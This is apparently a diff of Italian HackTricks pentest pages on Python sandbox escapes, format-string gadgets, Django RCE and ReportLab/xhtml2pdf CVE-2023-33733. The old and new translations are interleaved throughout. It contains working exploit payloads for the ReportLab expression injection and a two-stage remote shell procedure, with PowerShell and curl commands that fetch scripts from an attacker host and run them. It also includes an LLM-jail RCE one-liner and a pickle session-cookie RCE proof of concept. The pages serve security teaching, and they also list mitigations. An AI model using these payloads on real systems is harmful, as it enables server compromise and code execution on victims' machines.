Nota inoltre che puoi usare `.__dict__` per enumerare gli elementi di un oggetto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Altre caratteristiche interessanti delle stringhe di formato è la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** nell'oggetto indicato aggiungendo **`!s`**, **`!r`**, **`!a`** rispettivamente:
Altre caratteristiche interessanti delle format string sono la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** sull'oggetto indicato aggiungendo rispettivamente **`!s`**, **`!r`**, **`!a`**:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Inoltre, è possibile **codificare nuovi formattatori** nelle classi:
Inoltre, è possibile **code new formatters** nelle classi:
```python
class HAL9000(object):
def __format__(self, format):
@ -702,17 +711,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Ulteriori esempi** sugli **esempi di stringa di formato** possono essere trovati in [**https://pyformat.info/**](https://pyformat.info)
**Altri esempi** su **format** **string** possono essere trovati su [**https://pyformat.info/**](https://pyformat.info)
> [!CAUTION]
> Controlla anche la seguente pagina per gadget che r**ead sensitive information from Python internal objects**:
> Controlla anche la pagina seguente per gadgets che leggeranno **informazioni sensibili dagli oggetti interni di Python**:
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
### Payload per la divulgazione di informazioni sensibili
### Payloads di divulgazione di informazioni sensibili
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -728,22 +737,22 @@ secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless
```
### Bypass delle prigioni LLM
### LLM Jails bypass
Da [qui](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
Da [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### Dal formato al RCE caricando librerie
### From format to RCE loading libraries
Secondo il [**TypeMonkey chall di questo writeup**](https://corgi.rip/posts/buckeye-writeups/), è possibile caricare librerie arbitrarie dal disco abusando della vulnerabilità della stringa di formato in python.
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
Come promemoria, ogni volta che viene eseguita un'azione in python, viene eseguita una funzione. Ad esempio, `2*3` eseguirà **`(2).mul(3)`** o **`{'a':'b'}['a']`** sarà **`{'a':'b'}.__getitem__('a')`**.
Come promemoria, ogni volta che un'azione viene eseguita in python viene chiamata una funzione. Per esempio `2*3` eseguirà **`(2).mul(3)`** oppure **`{'a':'b'}['a']`** sarà **`{'a':'b'}.__getitem__('a')`**.
Hai di più come questo nella sezione [**Esecuzione Python senza chiamate**](#python-execution-without-calls).
Ne trovi altri nella sezione [**Python execution without calls**](#python-execution-without-calls).
Una vulnerabilità della stringa di formato python non consente di eseguire funzioni (non consente di usare le parentesi), quindi non è possibile ottenere RCE come `'{0.system("/bin/sh")}'.format(os)`.\
Tuttavia, è possibile usare `[]`. Pertanto, se una libreria python comune ha un metodo **`__getitem__`** o **`__getattr__`** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
Una python format string vuln non permette di eseguire funzioni (non permette l'uso delle parentesi), quindi non è possibile ottenere RCE come `'{0.system("/bin/sh")}'.format(os)`.\
Tuttavia, è possibile usare `[]`. Quindi, se una libreria python comune ha un metodo **`__getitem__`** o **`__getattr__`** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
Cercando un gadget del genere in python, il writeup propone questa [**query di ricerca su Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Dove ha trovato questo [uno](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Cercando un gadget del genere in python, il writeup propone questa [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Qui ha trovato questo [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -765,20 +774,20 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Questo gadget consente di **caricare una libreria dal disco**. Pertanto, è necessario in qualche modo **scrivere o caricare la libreria da caricare** correttamente compilata sul server attaccato.
Questo gadget permette di **caricare una libreria dal disco**. Pertanto è necessario, in qualche modo, **scrivere o uploadare la libreria da caricare**, compilata correttamente, sul server attaccato.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
La sfida sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari nel disco dei server.
La challenge sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari sul disco del server.
## Dissezionare gli Oggetti Python
## Analisi di Python Objects
> [!TIP]
> Se vuoi **imparare** a conoscere **il bytecode di python** in profondità leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> Se vuoi **imparare** in profondità su **python bytecode** leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
In alcuni CTF potresti ricevere il nome di una **funzione personalizzata in cui risiede il flag** e devi esaminare gli **interni** della **funzione** per estrarlo.
In alcuni CTFs potresti ricevere il nome di una **custom function where the flag** che contiene la flag e devi vedere gli **internals** della **function** per estrarla.
Questa è la funzione da ispezionare:
Questa è la function da ispezionare:
```python
def get_flag(some_input):
var1=1
@ -798,7 +807,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` e `func_globals`(Stesso) Ottiene l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarato:
`__globals__` and `func_globals`(Stesso) Ottiene l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarato:
```python
get_flag.func_globals
get_flag.__globals__
@ -807,11 +816,11 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Vedi qui altri luoghi per ottenere globals**](#globals-and-locals)
[**See here more places to obtain globals**](#globals-and-locals)
### **Accesso al codice della funzione**
### **Accessing the function code**
**`__code__`** e `func_code`: Puoi **accedere** a questo **attributo** della funzione per **ottenere l'oggetto codice** della funzione.
**`__code__`** and `func_code`: Puoi **accedere** a questo **attributo** della funzione per **ottenere il code object** della funzione.
```python
# In our current example
get_flag.__code__
@ -899,7 +908,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Nota che **se non puoi importare `dis` nel sandbox di python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili che vengono caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile che viene caricata.
Nota che **se non puoi importare `dis` nella python sandbox** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemble**arlo localmente. Non vedrai il contenuto delle variabili caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile caricata.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -921,10 +930,9 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Compilare Python
## Compilazione di Python
Ora, immaginiamo che in qualche modo tu possa **estrarre le informazioni su una funzione che non puoi eseguire** ma che **devi** **eseguire**.\
Come nel seguente esempio, puoi **accedere all'oggetto codice** di quella funzione, ma leggendo solo il disassemblaggio **non sai come calcolare il flag** (_immagina una funzione `calc_flag` più complessa_)
Ora, immaginiamo che in qualche modo tu possa **dump the information about a function that you cannot execute** ma tu **devi** **execute** it.\ Come nell'esempio seguente, puoi **access the code object** di quella funzione, ma semplicemente leggendo il disassemble non **sai come calcolare la flag** (_immagina una funzione `calc_flag` più complessa_)
```python
def get_flag(some_input):
var1=1
@ -937,9 +945,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Creazione dell'oggetto codice
### Creazione del code object
Prima di tutto, dobbiamo sapere **come creare ed eseguire un oggetto codice** in modo da poterne creare uno per eseguire la nostra funzione leaked:
Prima di tutto, dobbiamo sapere **come creare ed eseguire un code object** così possiamo crearne uno per eseguire la nostra funzione leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -959,18 +967,18 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> A seconda della versione di python, i **parametri** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
> A seconda della versione di python i **parameters** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei params nella versione di python che stai eseguendo è eseguire:
>
> ```
> import types
> types.CodeType.__doc__
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCrea un oggetto codice. Non per i deboli di cuore.'
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### Ricreare una funzione trapelata
### Ricreare una leaked function
> [!WARNING]
> Nell'esempio seguente, prenderemo tutti i dati necessari per ricreare la funzione direttamente dall'oggetto codice della funzione. In un **esempio reale**, tutti i **valori** per eseguire la funzione **`code_type`** è ciò che **dovrai trapelare**.
> Nel seguente esempio prenderemo direttamente tutti i dati necessari per ricreare la function dal suo code object. In un **esempio reale**, tutti i **values** per eseguire la function **`code_type`** sono ciò che **dovrai leak**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -983,10 +991,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
Negli esempi precedenti all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **un'unica riga** (e potremmo fare lo stesso usando **`exec`**).\
Comunque, a volte potrebbe essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo sulla **macchina CTF** (ad esempio perché non abbiamo la funzione `compiled` nel CTF).
Nei precedenti esempi all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice Python usando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con loop e tutto in un **one liner** (e potremmo fare lo stesso usando **`exec`**).\
Comunque, a volte può essere utile **creare** un **compiled object** su una macchina locale ed eseguirlo nella **CTF machine** (per esempio perché non abbiamo la funzione `compiled` nella CTF).
Ad esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
Per esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
```python
#Locally
def read():
@ -1013,7 +1021,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Se non puoi accedere a `eval` o `exec`, potresti creare una **funzione adeguata**, ma chiamarla direttamente di solito fallirà con: _costruttore non accessibile in modalità ristretta_. Quindi hai bisogno di una **funzione non nell'ambiente ristretto per chiamare questa funzione.**
Se non puoi accedere a `eval` o `exec` potresti creare una **funzione vera e propria**, ma chiamarla direttamente di solito fallisce con: _costruttore non accessibile in modalità ristretta_. Quindi hai bisogno di una **funzione esterna all'ambiente ristretto per chiamare questa funzione.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1021,22 +1029,22 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Decompilazione di Python Compilato
## Decompiling Compiled Python
Utilizzando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) è possibile **decompilare** il codice python compilato fornito.
Usando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) si può **decompile** il codice python compilato dato.
**Dai un'occhiata a questo tutorial**:
**Consulta questo tutorial**:
{{#ref}}
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
## Misc Python
## Varie su Python
### Assert
Python eseguito con ottimizzazioni con il parametro `-O` rimuoverà le dichiarazioni di assert e qualsiasi codice condizionale sul valore di **debug**.\
Python eseguito con ottimizzazioni usando il parametro `-O` rimuoverà le istruzioni assert e qualsiasi codice condizionato dal valore di **debug**.\
Pertanto, controlli come
```python
def check_permission(super_user):
@ -1046,7 +1054,7 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
sarà bypassato
verrà bypassed
## Riferimenti
@ -1056,5 +1064,8 @@ sarà bypassato
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
- [0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,79 @@
# ReportLab/xhtml2pdf RCE da valutazione di espressioni [[[...]]] (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
Questa pagina documenta un practical sandbox escape e un primitivo RCE in rl_safe_eval di ReportLab usato da xhtml2pdf e altre pipeline di generazione PDF quando si rende HTML controllato dall'utente in PDF.
CVE-2023-33733 interessa ReportLab fino e inclusa la versione 3.6.12. In certi contesti di attributo (per esempio color), i valori racchiusi tra triple parentesi [[[ ... ]]] vengono valutati server-side da rl_safe_eval. Compattando un payload che pivotta da un builtin in whitelist (pow) ai suoi Python function globals, un attacker può raggiungere il modulo os ed eseguire comandi.
Punti chiave
- Trigger: inject [[[ ... ]]] in attributi valutati come <font color="..."> all'interno di markup parsato da ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval sostituisce builtins pericolosi ma le funzioni valutate espongono comunque __globals__.
- Bypass: creare una classe transiente Word per bypassare i controlli di nome di rl_safe_eval e accedere alla stringa "__globals__" evitando il filtraggio dei dunder bloccati.
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Stabilità: Restituire un valore valido per l'attributo dopo l'esecuzione (per color, usare and 'red').
Quando testare
- Applicazioni che espongono export HTML-to-PDF (profili, fatture, report) e mostrano xhtml2pdf/ReportLab nei metadata del PDF o nei commenti della risposta HTTP.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → producer "xhtml2pdf"
- La risposta HTTP per un PDF spesso inizia con un commento generato da ReportLab
Come funziona il bypass della sandbox
- rl_safe_eval rimuove o sostituisce molti builtins (getattr, type, pow, ...) e applica un filtering dei nomi per negare attributi che iniziano con __ o presenti in una denylist.
- Tuttavia, le funzioni "safe" vivono in un dizionario globals accessibile come func.__globals__.
- Usare type(type(1)) per recuperare la vera builtin type (bypassando il wrapper di ReportLab), poi definire una classe Word derivata da str con comportamento di confronto mutato in modo che:
- .startswith('__') → sempre False (bypass del controllo name startswith('__'))
- .__eq__ ritorna False solo alla prima comparazione (bypass dei check di membership nella denylist) e True successivamente (così getattr funziona)
- .__hash__ == hash(str(self))
- Con questo, getattr(pow, Word('__globals__')) restituisce il dict globals della funzione wrapped pow, che include il modulo os importato. Poi: ['os'].system('<cmd>').
Schema minimo di sfruttamento (esempio attributo)
Posizionare il payload dentro un attributo valutato e assicurarsi che restituisca un valore valido per l'attributo tramite boolean and 'red'.
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
- La forma con list-comprehension consente una singola espressione accettabile da rl_safe_eval.
- Il trailing and 'red' restituisce un color CSS valido così il rendering non si rompe.
- Sostituire il comando secondo necessità; usare ping per validare l'esecuzione con tcpdump.
Flusso operativo
1) Identificare il PDF generator
- PDF Producer mostra xhtml2pdf; la risposta HTTP contiene un commento di ReportLab.
2) Trovare un input riflesso nel PDF (es., bio/description del profilo) e triggerare un export.
3) Verificare l'esecuzione con ICMP a basso rumore
- Eseguire: sudo tcpdump -ni <iface> icmp
- Payload: ... system('ping <your_ip>') ...
- Windows spesso invia esattamente quattro echo request di default.
4) Ottenere una shell
- Per Windows, un approccio affidabile a due stadi evita problemi di quoting/encoding:
- Stage 1 (download):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Stage 2 (esecuzione):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Per target Linux, è possibile un analogo two-stage con curl/wget:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Note e suggerimenti
- Contesti di attributo: color è un attributo noto per essere valutato; altri attributi nel markup di ReportLab possono anch'essi valutare espressioni. Se una posizione è sanitizzata, provare altre che vengono rese nel flusso PDF (campi diversi, stili di tabella, ecc.).
- Quoting: mantenere i comandi compatti. I download in due stadi riducono drasticamente problemi di quoting e escaping.
- Affidabilità: se gli export sono cachati o messi in coda, variare leggermente il payload (es., path o query random) per evitare di colpire cache.
Mitigazioni e rilevamento
- Aggiornare ReportLab alla 3.6.13 o successiva (CVE-2023-33733 risolta). Tenere traccia degli advisory di sicurezza anche nei pacchetti distro.
- Non passare HTML/markup controllato dall'utente direttamente a xhtml2pdf/ReportLab senza una sanitizzazione rigorosa. Rimuovere/negare le valutazioni [[[...]]] e i tag vendor-specific quando l'input non è trusted.
- Considerare la disabilitazione o il wrapping di rl_safe_eval per input non trusted.
- Monitorare connessioni outbound sospette durante la generazione di PDF (es., ICMP/HTTP provenienti da app server durante l'export di documenti).
Riferimenti
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,27 +2,27 @@
{{#include ../../banners/hacktricks-training.md}}
## Manipolazione della Cache per RCE
Il metodo di archiviazione della cache predefinito di Django è [Python pickles](https://docs.python.org/3/library/pickle.html), che può portare a RCE se [l'input non attendibile viene de-pickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se un attaccante riesce a ottenere accesso in scrittura alla cache, può elevare questa vulnerabilità a RCE sul server sottostante**.
## Manipolazione della cache per RCE
Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se un attacker ottiene accesso in scrittura alla cache, può scalare questa vulnerabilità a RCE sul server sottostante**.
La cache di Django è memorizzata in uno dei quattro luoghi: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memoria](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [file](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database è la più probabile vettore d'attacco (iniezione Redis e iniezione SQL), ma un attaccante potrebbe anche essere in grado di utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno contrassegnato questo come un non-problema. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.
La cache di Django viene memorizzata in uno di quattro posti: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database sono i vettori di attacco più probabili (Redis injection e SQL injection), ma un attacker potrebbe anche sfruttare la cache basata su file per trasformare una scrittura arbitraria in RCE. I maintainer hanno classificato questo come non-issue. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis variano in base all'implementazione.
Questo rapporto di HackerOne fornisce un ottimo esempio riproducibile di sfruttamento della cache di Django memorizzata in un database SQLite: https://hackerone.com/reports/1415436
Questo report HackerOne fornisce un ottimo esempio riproducibile di sfruttamento della cache di Django memorizzata in un database SQLite: https://hackerone.com/reports/1415436
---
## Iniezione di Template lato Server (SSTI)
Il Django Template Language (DTL) è **Turing-completo**. Se i dati forniti dall'utente vengono resi come una *stringa di template* (ad esempio chiamando `Template(user_input).render()` o quando `|safe`/`format_html()` rimuove l'auto-escaping), un attaccante può ottenere SSTI completo → RCE.
## Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is **Turing-complete**. Se dati forniti dall'utente vengono renderizzati come *template string* (ad esempio chiamando `Template(user_input).render()` o quando `|safe`/`format_html()` rimuovono l'escaping automatico), un attacker può ottenere pieno SSTI → RCE.
### Rilevamento
1. Cerca chiamate dinamiche a `Template()` / `Engine.from_string()` / `render_to_string()` che includano *qualsiasi* dato di richiesta non sanitizzato.
2. Invia un payload basato su tempo o aritmetico:
1. Cerca chiamate dinamiche a `Template()` / `Engine.from_string()` / `render_to_string()` che includono *qualsiasi* dato della request non sanitizzato.
2. Invia un payload basato sul tempo o aritmetico:
```django
{{7*7}}
```
Se l'output reso contiene `49`, l'input è compilato dal motore di template.
Se l'output renderizzato contiene `49` l'input è compilato dal template engine.
### Primitiva a RCE
### Primitive per RCE
Django blocca l'accesso diretto a `__import__`, ma il grafo degli oggetti Python è raggiungibile:
```django
{{''.__class__.mro()[1].__subclasses__()}}
@ -33,18 +33,27 @@ Trova l'indice di `subprocess.Popen` (≈400500 a seconda della build di Pyth
```
Un gadget universale più sicuro è iterare fino a `cls.__name__ == 'Popen'`.
Lo stesso gadget funziona per le funzionalità di rendering dei template di **Debug Toolbar** o **Django-CMS** che gestiscono male l'input dell'utente.
Lo stesso gadget funziona per **Debug Toolbar** o **Django-CMS** nelle funzionalità di rendering dei template che gestiscono male l'input utente.
---
## RCE con Cookie di Sessione Basato su Pickle
Se l'impostazione `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` è abilitata (o un serializer personalizzato che deserializza pickle), Django *decritta e deserializza* il cookie di sessione **prima** di chiamare qualsiasi codice di vista. Pertanto, possedere una chiave di firma valida (il `SECRET_KEY` del progetto per impostazione predefinita) è sufficiente per un'immediata esecuzione remota di codice.
### Vedi anche: ReportLab/xhtml2pdf PDF export RCE
Le applicazioni costruite su Django comunemente integrano xhtml2pdf/ReportLab per esportare le view in PDF. Quando HTML controllato dall'utente fluisce nella generazione del PDF, rl_safe_eval può valutare espressioni all'interno delle triple parentesi `[[[ ... ]]]` permettendo l'esecuzione di codice (CVE-2023-33733). Dettagli, payload e mitigazioni:
### Requisiti per l'Exploit
* Il server utilizza `PickleSerializer`.
* L'attaccante conosce / può indovinare `settings.SECRET_KEY` (leak tramite GitHub, `.env`, pagine di errore, ecc.).
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
### Prova di Concetto
---
## Pickle-Backed Session Cookie RCE
Se l'impostazione `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` è abilitata (o un serializer personalizzato che deserializza pickle), Django *decrypts and unpickles* il cookie di sessione **prima** di chiamare qualsiasi codice della view. Pertanto, possedere una chiave di signing valida (il `SECRET_KEY` del progetto di default) è sufficiente per un'immediata remote code execution.
### Exploit Requirements
* Il server usa `PickleSerializer`.
* L'attaccante conosce / può indovinare `settings.SECRET_KEY` (leaks via GitHub, `.env`, pagine di errore, ecc.).
### Proof-of-Concept
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
@ -60,20 +69,21 @@ print(f"sessionid={mal}")
```
Invia il cookie risultante e il payload viene eseguito con i permessi del worker WSGI.
**Mitigazioni**: Mantieni il `JSONSerializer` predefinito, ruota `SECRET_KEY` e configura `SESSION_COOKIE_HTTPONLY`.
**Mitigazioni**: Mantieni il default `JSONSerializer`, ruota `SECRET_KEY` e configura `SESSION_COOKIE_HTTPONLY`.
---
## Recenti (2023-2025) CVE Django ad Alto Impatto che i Pentester Dovrebbero Controllare
* **CVE-2025-48432** *Iniezione di Log tramite `request.path` non escapato* (risolto il 4 giugno 2025). Consente agli attaccanti di introdurre nuove righe/codici ANSI nei file di log e avvelenare l'analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Iniezione SQL critica* in `QuerySet.values()/values_list()` su `JSONField` (CVSS 9.8). Crea chiavi JSON per uscire dalle virgolette ed eseguire SQL arbitrario. Risolto in 4.2.15 / 5.0.8.
## Recenti (2023-2025) CVE Django ad alto impatto che Pentesters dovrebbero verificare
* **CVE-2025-48432** *Log Injection via unescaped `request.path`* (fixato il 4 giugno 2025). Consente agli attaccanti di introdurre newline/codici ANSI nei file di log e avvelenare l'analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Critical SQL injection* in `QuerySet.values()/values_list()` su `JSONField` (CVSS 9.8). Costruire chiavi JSON per uscire dal quoting ed eseguire SQL arbitrario. Risolto in 4.2.15 / 5.0.8.
Fingerprint sempre la versione esatta del framework tramite la pagina di errore `X-Frame-Options` o l'hash di `/static/admin/css/base.css` e testa quanto sopra dove applicabile.
Esegui sempre il fingerprint della versione esatta del framework tramite la pagina di errore `X-Frame-Options` o l'hash di `/static/admin/css/base.css` e testa quanto sopra dove applicabile.
---
## Riferimenti
* Rilascio di sicurezza Django "Django 5.2.2, 5.1.10, 4.2.22 affrontano CVE-2025-48432" 4 giu 2025.
* OP-Innovate: "Django rilascia aggiornamenti di sicurezza per affrontare il difetto di iniezione SQL CVE-2024-42005" 11 ago 2024.
* Django security release "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" 4 Jun 2025.
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" 11 Aug 2024.
